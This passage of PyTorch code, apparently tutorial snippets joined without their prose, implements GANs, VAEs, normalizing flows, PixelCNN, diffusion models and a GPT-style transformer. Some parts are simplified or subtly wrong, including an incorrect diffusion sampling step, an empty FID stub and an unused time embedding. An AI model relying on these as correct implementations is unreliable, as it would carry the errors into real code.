                    print(f"[Epoch {epoch}/{num_epochs}] [Batch {i}] "
                          f"[D loss: {d_loss:.4f}] [G loss: {g_loss:.4f}]")

            # Sample images
            if epoch % 10 == 0:
                self.sample_images(epoch)

    def sample_images(self, epoch, n_row=10):
        """Generate and save sample images"""
        z = torch.randn(n_row**2, self.latent_dim)
        gen_imgs = self.generator(z)

        import torchvision.utils as vutils
        vutils.save_image(gen_imgs.data, f"images/epoch_{epoch}.png", 
                         nrow=n_row, normalize=True)

# Example usage
img_shape = (1, 28, 28)
generator = Generator(latent_dim=100, img_shape=img_shape)
discriminator = Discriminator(img_shape=img_shape)

trainer = GANTrainer(generator, discriminator)
# trainer.train(dataloader, num_epochs=100)

class DCGANGenerator(nn.Module):
    def __init__(self, latent_dim=100, channels=3):
        super(DCGANGenerator, self).__init__()

        self.init_size = 4
        self.l1 = nn.Linear(latent_dim, 128 * self.init_size ** 2)

        self.conv_blocks = nn.Sequential(
            nn.BatchNorm2d(128),
            nn.Upsample(scale_factor=2),  # 4x4 -> 8x8
            nn.Conv2d(128, 128, 3, stride=1, padding=1),
            nn.BatchNorm2d(128),
            nn.LeakyReLU(0.2),

            nn.Upsample(scale_factor=2),  # 8x8 -> 16x16
            nn.Conv2d(128, 64, 3, stride=1, padding=1),
            nn.BatchNorm2d(64),
            nn.LeakyReLU(0.2),

            nn.Upsample(scale_factor=2),  # 16x16 -> 32x32
            nn.Conv2d(64, channels, 3, stride=1, padding=1),
            nn.Tanh()
        )

    def forward(self, z):
        out = self.l1(z)
        out = out.view(out.shape[0], 128, self.init_size, self.init_size)
        img = self.conv_blocks(out)
        return img

class DCGANDiscriminator(nn.Module):
    def __init__(self, channels=3):
        super(DCGANDiscriminator, self).__init__()

        def discriminator_block(in_filters, out_filters, bn=True):
            block = [nn.Conv2d(in_filters, out_filters, 3, 2, 1),
                    nn.LeakyReLU(0.2),
                    nn.Dropout2d(0.25)]
            if bn:
                block.append(nn.BatchNorm2d(out_filters))
            return block

        self.model = nn.Sequential(
            *discriminator_block(channels, 16, bn=False),  # 32x32 -> 16x16
            *discriminator_block(16, 32),                   # 16x16 -> 8x8
            *discriminator_block(32, 64),                   # 8x8 -> 4x4
            *discriminator_block(64, 128),                  # 4x4 -> 2x2
        )

        # Output layer
        ds_size = 2
        self.adv_layer = nn.Sequential(
            nn.Linear(128 * ds_size ** 2, 1),
            nn.Sigmoid()
        )

    def forward(self, img):
        out = self.model(img)
        out = out.view(out.shape[0], -1)
        validity = self.adv_layer(out)
        return validity

class ConditionalGenerator(nn.Module):
    def __init__(self, latent_dim=100, n_classes=10, img_shape=(1, 28, 28)):
        super(ConditionalGenerator, self).__init__()
        self.img_shape = img_shape

        self.label_emb = nn.Embedding(n_classes, n_classes)

        def block(in_feat, out_feat, normalize=True):
            layers = [nn.Linear(in_feat, out_feat)]
            if normalize:
                layers.append(nn.BatchNorm1d(out_feat))
            layers.append(nn.LeakyReLU(0.2))
            return layers

        self.model = nn.Sequential(
            *block(latent_dim + n_classes, 128, normalize=False),
            *block(128, 256),
            *block(256, 512),
            *block(512, 1024),
            nn.Linear(1024, int(np.prod(img_shape))),
            nn.Tanh()
        )

    def forward(self, noise, labels):
        # Concatenate label embedding and noise
        gen_input = torch.cat((self.label_emb(labels), noise), -1)
        img = self.model(gen_input)
        img = img.view(img.size(0), *self.img_shape)
        return img

class ConditionalDiscriminator(nn.Module):
    def __init__(self, n_classes=10, img_shape=(1, 28, 28)):
        super(ConditionalDiscriminator, self).__init__()

        self.label_embedding = nn.Embedding(n_classes, n_classes)

        self.model = nn.Sequential(
            nn.Linear(n_classes + int(np.prod(img_shape)), 512),
            nn.LeakyReLU(0.2),
            nn.Dropout(0.3),
            nn.Linear(512, 256),
            nn.LeakyReLU(0.2),
            nn.Dropout(0.3),
            nn.Linear(256, 1),
            nn.Sigmoid()
        )

    def forward(self, img, labels):
        # Concatenate label embedding and image
        d_in = torch.cat((img.view(img.size(0), -1), self.label_embedding(labels)), -1)
        validity = self.model(d_in)
        return validity

class WGANTrainer:
    def __init__(self, generator, discriminator, latent_dim=100, 
                 lr=0.00005, n_critic=5, clip_value=0.01):
        self.generator = generator
        self.discriminator = discriminator
        self.latent_dim = latent_dim
        self.n_critic = n_critic
        self.clip_value = clip_value

        # RMSprop optimizers
        self.optimizer_G = optim.RMSprop(generator.parameters(), lr=lr)
        self.optimizer_D = optim.RMSprop(discriminator.parameters(), lr=lr)

    def train_step(self, real_imgs):
        batch_size = real_imgs.size(0)

        # ---------------------
        #  Train Discriminator
        # ---------------------
        self.optimizer_D.zero_grad()

        # Sample noise
        z = torch.randn(batch_size, self.latent_dim)
        fake_imgs = self.generator(z).detach()

        # Wasserstein loss
        loss_D = -torch.mean(self.discriminator(real_imgs)) + \
                  torch.mean(self.discriminator(fake_imgs))

        loss_D.backward()
        self.optimizer_D.step()

        # Clip weights
        for p in self.discriminator.parameters():
            p.data.clamp_(-self.clip_value, self.clip_value)

        # Train generator every n_critic iterations
        if self.n_critic > 0:
            self.n_critic -= 1
            return loss_D.item(), None

        # -----------------
        #  Train Generator
        # -----------------
        self.optimizer_G.zero_grad()

        z = torch.randn(batch_size, self.latent_dim)
        gen_imgs = self.generator(z)

        # Generator loss
        loss_G = -torch.mean(self.discriminator(gen_imgs))

        loss_G.backward()
        self.optimizer_G.step()

        self.n_critic = 5  # Reset

        return loss_D.item(), loss_G.item()

class StyleGANGenerator(nn.Module):
    """Simplified StyleGAN architecture"""
    def __init__(self, latent_dim=512, style_dim=512, n_mlp=8):
        super(StyleGANGenerator, self).__init__()

        # Mapping network (converts z to w)
        layers = []
        for i in range(n_mlp):
            layers.append(nn.Linear(latent_dim if i == 0 else style_dim, style_dim))
            layers.append(nn.LeakyReLU(0.2))
        self.mapping = nn.Sequential(*layers)

        # Synthesis network (generates image from w)
        self.const_input = nn.Parameter(torch.randn(1, 512, 4, 4))

        # Progressive layers with AdaIN
        self.prog_blocks = nn.ModuleList()
        self.style_blocks = nn.ModuleList()

        channels = [512, 512, 512, 256, 128, 64, 32]
        for i in range(len(channels) - 1):
            self.prog_blocks.append(
                nn.Sequential(
                    nn.Upsample(scale_factor=2),
                    nn.Conv2d(channels[i], channels[i+1], 3, padding=1),
                    nn.LeakyReLU(0.2)
                )
            )
            self.style_blocks.append(
                nn.Linear(style_dim, channels[i+1] * 2)  # For AdaIN
            )

        self.to_rgb = nn.Conv2d(channels[-1], 3, 1)

    def forward(self, z):
        # Map to style space
        w = self.mapping(z)

        # Start with constant
        x = self.const_input.repeat(z.size(0), 1, 1, 1)

        # Apply progressive blocks with style modulation
        for prog_block, style_block in zip(self.prog_blocks, self.style_blocks):
            x = prog_block(x)

            # AdaIN (Adaptive Instance Normalization)
            style = style_block(w).unsqueeze(2).unsqueeze(3)
            style_mean, style_std = style.chunk(2, 1)

            x = F.instance_norm(x)
            x = x * (style_std + 1) + style_mean

        # Convert to RGB
        img = self.to_rgb(x)
        return torch.tanh(img)

log p(x) ≥ E_q[log p(x|z)] - KL(q(z|x) || p(z))

class VAE(nn.Module):
    def __init__(self, input_dim=784, latent_dim=20, hidden_dim=400):
        super(VAE, self).__init__()

        # Encoder
        self.fc1 = nn.Linear(input_dim, hidden_dim)
        self.fc_mu = nn.Linear(hidden_dim, latent_dim)
        self.fc_logvar = nn.Linear(hidden_dim, latent_dim)

        # Decoder
        self.fc3 = nn.Linear(latent_dim, hidden_dim)
        self.fc4 = nn.Linear(hidden_dim, input_dim)

    def encode(self, x):
        """Encode input to latent distribution parameters"""
        h = F.relu(self.fc1(x))
        mu = self.fc_mu(h)
        logvar = self.fc_logvar(h)
        return mu, logvar

    def reparameterize(self, mu, logvar):
        """Reparameterization trick"""
        std = torch.exp(0.5 * logvar)
        eps = torch.randn_like(std)
        return mu + eps * std

    def decode(self, z):
        """Decode latent to output"""
        h = F.relu(self.fc3(z))
        return torch.sigmoid(self.fc4(h))

    def forward(self, x):
        mu, logvar = self.encode(x.view(-1, 784))
        z = self.reparameterize(mu, logvar)
        recon = self.decode(z)
        return recon, mu, logvar

def vae_loss(recon_x, x, mu, logvar):
    """VAE loss function"""
    # Reconstruction loss (binary cross-entropy)
    BCE = F.binary_cross_entropy(recon_x, x.view(-1, 784), reduction='sum')

    # KL divergence
    KLD = -0.5 * torch.sum(1 + logvar - mu.pow(2) - logvar.exp())

    return BCE + KLD

# Training
model = VAE()
optimizer = optim.Adam(model.parameters(), lr=0.001)

def train_vae(model, dataloader, num_epochs=10):
    model.train()
    for epoch in range(num_epochs):
        train_loss = 0
        for batch_idx, (data, _) in enumerate(dataloader):
            optimizer.zero_grad()

            recon_batch, mu, logvar = model(data)
            loss = vae_loss(recon_batch, data, mu, logvar)

            loss.backward()
            train_loss += loss.item()
            optimizer.step()

            if batch_idx % 100 == 0:
                print(f'Epoch: {epoch} [{batch_idx * len(data)}/{len(dataloader.dataset)}] '
                      f'Loss: {loss.item() / len(data):.4f}')

        print(f'Epoch {epoch} Average loss: {train_loss / len(dataloader.dataset):.4f}')

class ConvVAE(nn.Module):
    def __init__(self, latent_dim=128, channels=3):
        super(ConvVAE, self).__init__()

        # Encoder
        self.encoder = nn.Sequential(
            nn.Conv2d(channels, 32, 4, 2, 1),  # 32x32 -> 16x16
            nn.ReLU(),
            nn.Conv2d(32, 64, 4, 2, 1),        # 16x16 -> 8x8
            nn.ReLU(),
            nn.Conv2d(64, 128, 4, 2, 1),       # 8x8 -> 4x4
            nn.ReLU(),
            nn.Conv2d(128, 256, 4, 2, 1),      # 4x4 -> 2x2
            nn.ReLU()
        )

        self.fc_mu = nn.Linear(256 * 2 * 2, latent_dim)
        self.fc_logvar = nn.Linear(256 * 2 * 2, latent_dim)

        # Decoder
        self.fc_decode = nn.Linear(latent_dim, 256 * 2 * 2)

        self.decoder = nn.Sequential(
            nn.ConvTranspose2d(256, 128, 4, 2, 1),  # 2x2 -> 4x4
            nn.ReLU(),
            nn.ConvTranspose2d(128, 64, 4, 2, 1),   # 4x4 -> 8x8
            nn.ReLU(),
            nn.ConvTranspose2d(64, 32, 4, 2, 1),    # 8x8 -> 16x16
            nn.ReLU(),
            nn.ConvTranspose2d(32, channels, 4, 2, 1),  # 16x16 -> 32x32
            nn.Sigmoid()
        )

    def encode(self, x):
        h = self.encoder(x)
        h = h.view(h.size(0), -1)
        return self.fc_mu(h), self.fc_logvar(h)

    def reparameterize(self, mu, logvar):
        std = torch.exp(0.5 * logvar)
        eps = torch.randn_like(std)
        return mu + eps * std

    def decode(self, z):
        h = self.fc_decode(z)
        h = h.view(h.size(0), 256, 2, 2)
        return self.decoder(h)

    def forward(self, x):
        mu, logvar = self.encode(x)
        z = self.reparameterize(mu, logvar)
        return self.decode(z), mu, logvar

def beta_vae_loss(recon_x, x, mu, logvar, beta=4.0):
    """Beta-VAE loss with adjustable KL weight"""
    # Reconstruction loss
    BCE = F.binary_cross_entropy(recon_x, x.view(-1, 784), reduction='sum')

    # KL divergence with beta weight
    KLD = -0.5 * torch.sum(1 + logvar - mu.pow(2) - logvar.exp())

    return BCE + beta * KLD

class CouplingLayer(nn.Module):
    """Affine coupling layer"""
    def __init__(self, dim, hidden_dim=256):
        super(CouplingLayer, self).__init__()
        self.dim = dim
        self.split = dim // 2

        # Scale and translate networks
        self.scale_net = nn.Sequential(
            nn.Linear(self.split, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, dim - self.split),
            nn.Tanh()
        )

        self.translate_net = nn.Sequential(
            nn.Linear(self.split, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, hidden_dim),
            nn.ReLU(),
            nn.Linear(hidden_dim, dim - self.split)
        )

    def forward(self, x, reverse=False):
        x1, x2 = x[:, :self.split], x[:, self.split:]

        if not reverse:
            # Forward pass
            s = self.scale_net(x1)
            t = self.translate_net(x1)
            y2 = x2 * torch.exp(s) + t
            y = torch.cat([x1, y2], dim=1)
            log_det = torch.sum(s, dim=1)
        else:
            # Inverse pass
            s = self.scale_net(x1)
            t = self.translate_net(x1)
            y2 = (x2 - t) * torch.exp(-s)
            y = torch.cat([x1, y2], dim=1)
            log_det = -torch.sum(s, dim=1)

        return y, log_det

class NormalizingFlow(nn.Module):
    def __init__(self, dim, num_layers=8):
        super(NormalizingFlow, self).__init__()

        self.layers = nn.ModuleList([
            CouplingLayer(dim) for _ in range(num_layers)
        ])

    def forward(self, x, reverse=False):
        log_det_sum = 0

        layers = reversed(self.layers) if reverse else self.layers

        for layer in layers:
            x, log_det = layer(x, reverse=reverse)
            log_det_sum += log_det

        return x, log_det_sum

    def log_prob(self, x):
        """Compute log probability"""
        z, log_det = self.forward(x, reverse=False)

        # Base distribution (standard normal)
        log_prob_z = -0.5 * (z ** 2 + np.log(2 * np.pi)).sum(dim=1)

        return log_prob_z + log_det

class MaskedConv2d(nn.Conv2d):
    """Masked convolution for autoregressive generation"""
    def __init__(self, mask_type, *args, **kwargs):
        super(MaskedConv2d, self).__init__(*args, **kwargs)
        self.register_buffer('mask', torch.zeros_like(self.weight))

        self.mask[:, :, :self.kernel_size[0] // 2] = 1
        self.mask[:, :, self.kernel_size[0] // 2, :self.kernel_size[1] // 2] = 1

        if mask_type == 'A':
            # Mask type A: exclude center pixel
            self.mask[:, :, self.kernel_size[0] // 2, self.kernel_size[1] // 2] = 0

    def forward(self, x):
        self.weight.data *= self.mask
        return super(MaskedConv2d, self).forward(x)

class PixelCNN(nn.Module):
    def __init__(self, n_channels=1, n_filters=64, n_layers=7):
        super(PixelCNN, self).__init__()

        self.layers = nn.ModuleList()

        # First layer (mask type A)
        self.layers.append(
            nn.Sequential(
                MaskedConv2d('A', n_channels, n_filters, 7, padding=3),
                nn.BatchNorm2d(n_filters),
                nn.ReLU()
            )
        )

        # Hidden layers (mask type B)
        for _ in range(n_layers):
            self.layers.append(
                nn.Sequential(
                    MaskedConv2d('B', n_filters, n_filters, 7, padding=3),
                    nn.BatchNorm2d(n_filters),
                    nn.ReLU()
                )
            )

        # Output layer
        self.output = nn.Conv2d(n_filters, n_channels * 256, 1)

    def forward(self, x):
        for layer in self.layers:
            x = layer(x)

        x = self.output(x)

        # Reshape for pixel-wise softmax
        b, _, h, w = x.size()
        x = x.view(b, 256, -1, h, w)

        return x

class EnergyBasedModel(nn.Module):
    def __init__(self, input_dim):
        super(EnergyBasedModel, self).__init__()

        self.energy_net = nn.Sequential(
            nn.Linear(input_dim, 256),
            nn.ReLU(),
            nn.Linear(256, 256),
            nn.ReLU(),
            nn.Linear(256, 1)
        )

    def energy(self, x):
        """Compute energy E(x)"""
        return self.energy_net(x)

    def sample_langevin(self, x, n_steps=100, step_size=0.01):
        """Sample using Langevin dynamics"""
        x = x.clone().detach().requires_grad_(True)

        for _ in range(n_steps):
            energy = self.energy(x).sum()
            grad = torch.autograd.grad(energy, x)[0]

            noise = torch.randn_like(x) * np.sqrt(step_size * 2)
            x = x - step_size * grad + noise

        return x.detach()

class DiffusionModel(nn.Module):
    def __init__(self, timesteps=1000):
        super(DiffusionModel, self).__init__()
        self.timesteps = timesteps

        # Linear beta schedule
        self.betas = torch.linspace(0.0001, 0.02, timesteps)
        self.alphas = 1 - self.betas
        self.alphas_cumprod = torch.cumprod(self.alphas, dim=0)

        # Noise prediction network (U-Net)
        self.noise_predictor = self._build_unet()

    def _build_unet(self):
        """Simple U-Net for noise prediction"""
        # Simplified version
        return nn.Sequential(
            nn.Conv2d(3, 64, 3, padding=1),
            nn.ReLU(),
            nn.Conv2d(64, 64, 3, padding=1),
            nn.ReLU(),
            nn.Conv2d(64, 3, 3, padding=1)
        )

    def q_sample(self, x0, t, noise=None):
        """Forward diffusion: add noise to x0"""
        if noise is None:
            noise = torch.randn_like(x0)

        sqrt_alphas_cumprod_t = self.alphas_cumprod[t].sqrt()
        sqrt_one_minus_alphas_cumprod_t = (1 - self.alphas_cumprod[t]).sqrt()

        return sqrt_alphas_cumprod_t * x0 + sqrt_one_minus_alphas_cumprod_t * noise

    def p_sample(self, xt, t):
        """Reverse diffusion: denoise xt"""
        # Predict noise
        predicted_noise = self.noise_predictor(xt)

        # Compute x_{t-1}
        alpha_t = self.alphas[t]
        alpha_cumprod_t = self.alphas_cumprod[t]
        beta_t = self.betas[t]

        x0_pred = (xt - ((1 - alpha_t) / (1 - alpha_cumprod_t).sqrt()) * predicted_noise) / alpha_t.sqrt()

        if t > 0:
            noise = torch.randn_like(xt)
            x_prev = x0_pred * alpha_t.sqrt() + (1 - alpha_t).sqrt() * noise
        else:
            x_prev = x0_pred

        return x_prev

    def sample(self, shape):
        """Generate samples"""
        device = next(self.parameters()).device

        # Start from random noise
        x = torch.randn(shape).to(device)

        # Iteratively denoise
        for t in reversed(range(self.timesteps)):
            x = self.p_sample(x, t)

        return x

# Inception Score (IS)
def inception_score(imgs, splits=10):
    """Higher is better"""
    from torchvision.models import inception_v3

    inception_model = inception_v3(pretrained=True, transform_input=False)
    inception_model.eval()

    # Get predictions
    with torch.no_grad():
        preds = inception_model(imgs)
        preds = F.softmax(preds, dim=1)

    # Compute IS
    split_scores = []
    for k in range(splits):
        part = preds[k * (len(preds) // splits): (k + 1) * (len(preds) // splits)]
        py = part.mean(dim=0)
        scores = []
        for i in range(part.shape[0]):
            pyx = part[i]
            scores.append((pyx * (torch.log(pyx) - torch.log(py))).sum())
        split_scores.append(torch.exp(torch.mean(torch.stack(scores))))

    return torch.mean(torch.stack(split_scores)), torch.std(torch.stack(split_scores))

# Fréchet Inception Distance (FID)
def calculate_fid(real_imgs, fake_imgs):
    """Lower is better"""
    # Extract features using Inception network
    # Calculate mean and covariance
    # Compute FID score
    pass

import torch
import torch.nn as nn
import torch.nn.functional as F
import math

class MultiHeadAttention(nn.Module):
    def __init__(self, d_model, num_heads, dropout=0.1):
        super(MultiHeadAttention, self).__init__()
        assert d_model % num_heads == 0

        self.d_model = d_model
        self.num_heads = num_heads
        self.d_k = d_model // num_heads

        self.W_q = nn.Linear(d_model, d_model)
        self.W_k = nn.Linear(d_model, d_model)
        self.W_v = nn.Linear(d_model, d_model)
        self.W_o = nn.Linear(d_model, d_model)

        self.dropout = nn.Dropout(dropout)

    def forward(self, query, key, value, mask=None):
        batch_size = query.size(0)

        # Linear projections
        Q = self.W_q(query).view(batch_size, -1, self.num_heads, self.d_k).transpose(1, 2)
        K = self.W_k(key).view(batch_size, -1, self.num_heads, self.d_k).transpose(1, 2)
        V = self.W_v(value).view(batch_size, -1, self.num_heads, self.d_k).transpose(1, 2)

        # Scaled dot-product attention
        scores = torch.matmul(Q, K.transpose(-2, -1)) / math.sqrt(self.d_k)

        if mask is not None:
            scores = scores.masked_fill(mask == 0, -1e9)

        attn_weights = F.softmax(scores, dim=-1)
        attn_weights = self.dropout(attn_weights)

        context = torch.matmul(attn_weights, V)

        # Concatenate heads
        context = context.transpose(1, 2).contiguous().view(batch_size, -1, self.d_model)

        # Final linear projection
        output = self.W_o(context)

        return output, attn_weights

class FeedForward(nn.Module):
    def __init__(self, d_model, d_ff, dropout=0.1):
        super(FeedForward, self).__init__()
        self.linear1 = nn.Linear(d_model, d_ff)
        self.linear2 = nn.Linear(d_ff, d_model)
        self.dropout = nn.Dropout(dropout)

    def forward(self, x):
        return self.linear2(self.dropout(F.gelu(self.linear1(x))))

class TransformerBlock(nn.Module):
    def __init__(self, d_model, num_heads, d_ff, dropout=0.1):
        super(TransformerBlock, self).__init__()

        self.attention = MultiHeadAttention(d_model, num_heads, dropout)
        self.feed_forward = FeedForward(d_model, d_ff, dropout)

        self.norm1 = nn.LayerNorm(d_model)
        self.norm2 = nn.LayerNorm(d_model)

        self.dropout1 = nn.Dropout(dropout)
        self.dropout2 = nn.Dropout(dropout)

    def forward(self, x, mask=None):
        # Multi-head attention with residual connection
        attn_output, _ = self.attention(x, x, x, mask)
        x = self.norm1(x + self.dropout1(attn_output))

        # Feed-forward with residual connection
        ff_output = self.feed_forward(x)
        x = self.norm2(x + self.dropout2(ff_output))

        return x

class GPTModel(nn.Module):
    def __init__(self, vocab_size, d_model=768, num_heads=12, num_layers=12, 
                 d_ff=3072, max_seq_length=1024, dropout=0.1):
        super(GPTModel, self).__init__()

        self.d_model = d_model
        self.max_seq_length = max_seq_length

        # Token and position embeddings
        self.token_embedding = nn.Embedding(vocab_size, d_model)
        self.position_embedding = nn.Embedding(max_seq_length, d_model)

        # Transformer blocks
        self.blocks = nn.ModuleList([
            TransformerBlock(d_model, num_heads, d_ff, dropout)
            for _ in range(num_layers)
        ])

        # Output projection
        self.ln_f = nn.LayerNorm(d_model)
        self.head = nn.Linear(d_model, vocab_size, bias=False)

        self.dropout = nn.Dropout(dropout)

    def forward(self, input_ids, targets=None):
        batch_size, seq_length = input_ids.size()

        # Create position ids
        position_ids = torch.arange(seq_length, dtype=torch.long, device=input_ids.device)
        position_ids = position_ids.unsqueeze(0).expand_as(input_ids)

        # Embeddings
        token_embeds = self.token_embedding(input_ids)
        position_embeds = self.position_embedding(position_ids)
        x = self.dropout(token_embeds + position_embeds)

        # Causal mask
        mask = torch.tril(torch.ones(seq_length, seq_length, device=input_ids.device))
        mask = mask.view(1, 1, seq_length, seq_length)

        # Transformer blocks
        for block in self.blocks:
            x = block(x, mask)

        # Output
        x = self.ln_f(x)
        logits = self.head(x)

        loss = None
        if targets is not None:
            loss = F.cross_entropy(logits.view(-1, logits.size(-1)), targets.view(-1))

        return logits, loss

    def generate(self, input_ids, max_new_tokens=50, temperature=1.0, top_k=None):
        """Generate text autoregressively"""
        for _ in range(max_new_tokens):
            # Crop context if needed
            idx_cond = input_ids if input_ids.size(1) <= self.max_seq_length else input_ids[:, -self.max_seq_length:]

            # Forward pass
            logits, _ = self.forward(idx_cond)
            logits = logits[:, -1, :] / temperature

            # Top-k sampling
            if top_k is not None:
                v, _ = torch.topk(logits, min(top_k, logits.size(-1)))
                logits[logits < v[:, [-1]]] = -float('Inf')

            # Sample
            probs = F.softmax(logits, dim=-1)
            next_token = torch.multinomial(probs, num_samples=1)

            # Append
            input_ids = torch.cat([input_ids, next_token], dim=1)

        return input_ids

# Training example
model = GPTModel(vocab_size=50257, d_model=768, num_heads=12, num_layers=12)
optimizer = torch.optim.AdamW(model.parameters(), lr=6e-4, betas=(0.9, 0.95))

def train_step(input_ids, targets):
    optimizer.zero_grad()
    logits, loss = model(input_ids, targets)
    loss.backward()
    torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)
    optimizer.step()
    return loss.item()

class VisionTransformerGenerator(nn.Module):
    def __init__(self, img_size=256, patch_size=16, embed_dim=768, num_heads=12, depth=12):
        super(VisionTransformerGenerator, self).__init__()

        self.patch_size = patch_size
        self.num_patches = (img_size // patch_size) ** 2

        # Patch embedding
        self.patch_embed = nn.Conv2d(3, embed_dim, kernel_size=patch_size, stride=patch_size)

        # Position embedding
        self.pos_embed = nn.Parameter(torch.zeros(1, self.num_patches, embed_dim))

        # Transformer blocks
        self.blocks = nn.ModuleList([
            TransformerBlock(embed_dim, num_heads, embed_dim * 4)
            for _ in range(depth)
        ])

        # Decoder
        self.decoder = nn.Sequential(
            nn.ConvTranspose2d(embed_dim, 512, 4, 2, 1),
            nn.ReLU(),
            nn.ConvTranspose2d(512, 256, 4, 2, 1),
            nn.ReLU(),
            nn.ConvTranspose2d(256, 128, 4, 2, 1),
            nn.ReLU(),
            nn.ConvTranspose2d(128, 64, 4, 2, 1),
            nn.ReLU(),
            nn.ConvTranspose2d(64, 3, 4, 2, 1),
            nn.Tanh()
        )

    def forward(self, x):
        # Patch embedding
        x = self.patch_embed(x)
        x = x.flatten(2).transpose(1, 2)

        # Add position embedding
        x = x + self.pos_embed

        # Transformer blocks
        for block in self.blocks:
            x = block(x)

        # Reshape for decoder
        b, n, c = x.shape
        h = w = int(math.sqrt(n))
        x = x.transpose(1, 2).reshape(b, c, h, w)

        # Decode
        x = self.decoder(x)

        return x

class ImprovedDDPM(nn.Module):
    def __init__(self, img_channels=3, base_channels=128, timesteps=1000):
        super(ImprovedDDPM, self).__init__()

        self.timesteps = timesteps

        # Variance schedule (cosine)
        self.betas = self._cosine_beta_schedule(timesteps)
        self.alphas = 1.0 - self.betas
        self.alphas_cumprod = torch.cumprod(self.alphas, dim=0)
        self.alphas_cumprod_prev = F.pad(self.alphas_cumprod[:-1], (1, 0), value=1.0)

        # U-Net architecture
        self.time_embed = nn.Sequential(
            nn.Linear(base_channels, base_channels * 4),
            nn.SiLU(),
            nn.Linear(base_channels * 4, base_channels * 4)
        )

        # Encoder
        self.down1 = self._make_down_block(img_channels, base_channels)
        self.down2 = self._make_down_block(base_channels, base_channels * 2)
        self.down3 = self._make_down_block(base_channels * 2, base_channels * 4)

        # Bottleneck
        self.mid = self._make_res_block(base_channels * 4)

        # Decoder
        self.up3 = self._make_up_block(base_channels * 4, base_channels * 2)
        self.up2 = self._make_up_block(base_channels * 2, base_channels)
        self.up1 = self._make_up_block(base_channels, img_channels)

    def _cosine_beta_schedule(self, timesteps, s=0.008):
        """Cosine schedule for betas"""
        steps = timesteps + 1
        x = torch.linspace(0, timesteps, steps)
        alphas_cumprod = torch.cos(((x / timesteps) + s) / (1 + s) * math.pi * 0.5) ** 2
        alphas_cumprod = alphas_cumprod / alphas_cumprod[0]
        betas = 1 - (alphas_cumprod[1:] / alphas_cumprod[:-1])
        return torch.clip(betas, 0.0001, 0.9999)

    def _make_down_block(self, in_channels, out_channels):
        return nn.Sequential(
            nn.Conv2d(in_channels, out_channels, 3, padding=1),
            nn.GroupNorm(8, out_channels),
            nn.SiLU(),
            nn.Conv2d(out_channels, out_channels, 3, padding=1),
            nn.GroupNorm(8, out_channels),
            nn.SiLU(),
            nn.MaxPool2d(2)
        )

    def _make_up_block(self, in_channels, out_channels):
        return nn.Sequential(
            nn.Upsample(scale_factor=2),
            nn.Conv2d(in_channels, out_channels, 3, padding=1),
            nn.GroupNorm(8, out_channels),
            nn.SiLU(),
            nn.Conv2d(out_channels, out_channels, 3, padding=1),
            nn.GroupNorm(8, out_channels),
            nn.SiLU()
        )

    def _make_res_block(self, channels):
        return nn.Sequential(
            nn.Conv2d(channels, channels, 3, padding=1),
            nn.GroupNorm(8, channels),
            nn.SiLU(),
            nn.Conv2d(channels, channels, 3, padding=1),
            nn.GroupNorm(8, channels),
            nn.SiLU()
        )

    def forward(self, x, t):
        """Predict noise"""
        # Time embedding
        t_emb = self._get_timestep_embedding(t, x.device)
        t_emb = self.time_embed(t_emb)

        # U-Net forward
        h1 = self.down1(x)
        h2 = self.down2(h1)
        h3 = self.down3(h2)

        h = self.mid(h3)

        h = self.up3(h + h3)
        h = self.up2(h + h2)
        h = self.up1(h + h1)

        return h

    def _get_timestep_embedding(self, timesteps, device, dim=128):
        """Sinusoidal positional embedding"""
        half_dim = dim // 2
        emb = math.log(10000) / (half_dim - 1)
        emb = torch.exp(torch.arange(half_dim, device=device) * -emb)
        emb = timesteps[:, None] * emb[None, :]
        emb = torch.cat([torch.sin(emb), torch.cos(emb)], dim=-1)
        return emb

    @torch.no_grad()
    def sample(self, batch_size, img_size, device):
        """DDPM sampling"""
        # Start from random noise
        img = torch.randn(batch_size, 3, img_size, img_size, device=device)

        for t in reversed(range(self.timesteps)):
            t_batch = torch.full((batch_size,), t, device=device, dtype=torch.long)

            # Predict noise
            predicted_noise = self.forward(img, t_batch)

            # Compute x_{t-1}
            alpha_t = self.alphas[t]
            alpha_cumprod_t = self.alphas_cumprod[t]
            beta_t = self.betas[t]

            if t > 0:
                noise = torch.randn_like(img)
            else:
                noise = torch.zeros_like(img)

            img = (1 / alpha_t.sqrt()) * (img - ((1 - alpha_t) / (1 - alpha_cumprod_t).sqrt()) * predicted_noise)
            img = img + beta_t.sqrt() * noise

        return img

class LatentDiffusion(nn.Module):
    def __init__(self, vae, unet, text_encoder):
        super(LatentDiffusion, self).__init__()

        self.vae = vae  # VAE for encoding/decoding images
        self.unet = unet  # U-Net for denoising in latent space
        self.text_encoder = text_encoder  # CLIP text encoder

        self.timesteps = 1000
        self.betas = torch.linspace(0.0001, 0.02, self.timesteps)
        self.alphas = 1.0 - self.betas
        self.alphas_cumprod = torch.cumprod(self.alphas, dim=0)

    def forward(self, images, text_embeddings, t):
        """Training forward pass"""
        # Encode images to latent space
        with torch.no_grad():
            latents = self.vae.encode(images)

        # Add noise
        noise = torch.randn_like(latents)
        noisy_latents = self._add_noise(latents, noise, t)

        # Predict noise conditioned on text
        predicted_noise = self.unet(noisy_latents, t, text_embeddings)

        # Loss
        loss = F.mse_loss(predicted_noise, noise)

        return loss

    def _add_noise(self, latents, noise, t):
        """Add noise according to schedule"""
        sqrt_alpha_prod = self.alphas_cumprod[t] ** 0.5
        sqrt_one_minus_alpha_prod = (1 - self.alphas_cumprod[t]) ** 0.5

        return sqrt_alpha_prod * latents + sqrt_one_minus_alpha_prod * noise

    @torch.no_grad()
    def generate(self, text, batch_size=1, guidance_scale=7.5):
        """Text-to-image generation"""
        # Encode text
        text_embeddings = self.text_encoder(text)

        # Start from random noise in latent space
        latents = torch.randn(batch_size, 4, 64, 64)

        # Denoising loop
        for t in reversed(range(self.timesteps)):
            t_batch = torch.full((batch_size,), t)

            # Predict noise with and without conditioning (classifier-free guidance)
            noise_pred_text = self.unet(latents, t_batch, text_embeddings)
            noise_pred_uncond = self.unet(latents, t_batch, None)

            # Apply guidance
            noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond)

            # Update latents
            latents = self._denoise_step(latents, noise_pred, t)

        # Decode latents to images
        images = self.vae.decode(latents)

        return images

    def _denoise_step(self, latents, noise, t):
        """Single denoising step"""
        alpha_t = self.alphas[t]
        alpha_cumprod_t = self.alphas_cumprod[t]
